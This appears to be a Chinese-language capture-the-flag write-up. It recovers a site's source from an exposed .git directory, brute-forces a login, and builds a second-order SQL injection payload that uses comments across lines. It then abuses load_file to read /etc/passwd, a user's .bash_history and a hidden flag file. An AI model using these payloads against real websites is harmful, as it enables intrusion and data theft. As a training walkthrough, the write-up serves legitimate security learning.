扫目录扫到Git。githack恢复下
我用GitHack只恢复了一个write_do.php但是。里面代码是少了一部分的
这里需要用到https://github.com/wangyihang/githacker
这个工具
我用的其他工具恢复出来只有文件。没有.git目录
git log --oneline --decorate
可以看备注
这个工具可以将.git目录也恢复出来
接着。我们手工恢复。
接着分析代码
一个很明显的二次注入。先addslashes转义存入数据库。再从数据库中查询放入sql语句。没有进行转义
分析完代码。去看看漏洞点。需要先登陆。BURP爆破密码。zhangwei666
我们随便留个言
左边是第一次插入。右边是第二次更改
并且。他会将结果输出在字段中。
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
由于在SQL中。他是换行的。那么我们的#只能注释单行。除了#还有/**/
$sql = "insert into comment
set category = '',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
通过content参数。闭合*/注释。将user()的结果放入contents字段中。
insert into comment set category = '',content=user(),/*',content = '*/#',
bo_id = '$bo_id'";
成功返回user()结果
注入了一会发现没结果。转而用load_file读取下/etc/passwd
www用户可以调用bash。
继续读取下www用户的.bash_history
cd /tmp
unzip html.zip
rm -rf html.zip
cp -r html /var/www/
cd /var/www/html
rm -rf .DS_Store
分析下执行的操作。tmp目录下有个html目录没有删。并且有个.DS_Store
继续读取。发现是乱码。
hex编码继续读取
知道了flag_8946e1ff1ee3e40f.php
直接去读